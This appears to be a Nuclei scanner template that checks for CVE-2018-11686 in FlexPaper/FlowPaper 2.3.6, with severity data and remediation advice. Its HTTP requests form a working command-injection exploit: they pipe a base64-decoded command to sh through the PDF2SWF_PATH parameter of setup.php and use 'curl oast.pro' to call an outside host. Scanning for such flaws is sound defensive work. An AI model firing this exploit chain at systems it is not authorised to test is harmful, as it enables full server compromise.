Description
The Publish Service in FlexPaper (later renamed FlowPaper) 2.3.6 allows remote code execution via setup.php and change_config.php.
The Publish Service in FlexPaper (later renamed FlowPaper) 2.3.6 allows remote code execution via setup.php and change_config.php.
id: CVE-2018-11686
info:
name: FlexPaper/FlowPaper 2.3.6 - Remote Code Execution
author: iamnoooob,pdresearch,pszyszkowski
severity: critical
description: |
The Publish Service in FlexPaper (later renamed FlowPaper) 2.3.6 allows remote code execution via setup.php and change_config.php.
impact: |
Unauthenticated attackers can execute arbitrary code on the server through the Publish Service, leading to complete server compromise and access to all hosted documents.
remediation: |
Upgrade to FlowPaper version 2.3.7 or later, or remove the vulnerable Publish Service.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2018-11686
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-11686
cwe-id: CWE-20
epss-score: 0.52542
epss-percentile: 0.9894
cpe: cpe:2.3:a:flowpaper:flowpaper:2.3.6:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: flowpaper
product: flowpaper
shodan-query: title:"FlexPaper"
fofa-query: title="FlexPaper"
tags: cve,cve2018,flexpaper,flowpaper,rce,vkev,vuln
variables:
cmd: "curl oast.pro"
cmd_b: "{{base64(cmd)}}"
http:
- raw:
- |
POST /php/change_config.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
SAVE_CONFIG=1&SWF_Directory=config/
- |
POST /php/change_config.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
SAVE_CONFIG=1&SWF_Directory=config/
matchers:
- type: dsl
dsl:
- 'contains(header, "index.php?msg=Configuration%20saved!")'
- 'status_code == 302 || status_code == 200'
condition: and
internal: true
- raw:
- |
GET /php/setup.php?step=4&PDF2SWF_PATH=echo+{{cmd_b}}+%7C+base64+-d+%7C+sh+%3Econfig/output.txt%3B HTTP/1.1
Host: {{Hostname}}
- |
GET /php/config/output.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body_2, "Interactsh Server")'
- 'contains(content_type_2, "text/plain")'
- 'contains(location_1, "index.php")'
condition: and
# digest: 4a0a00473045022100f13314edee221d7cc1150192db1a1b4294dc90fcf6aae3d6429e296fd7e3dec0022078545fc68602f5d6a1378cec5131dfd0ae25fcc302676149cf5f77868fbba1d8:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.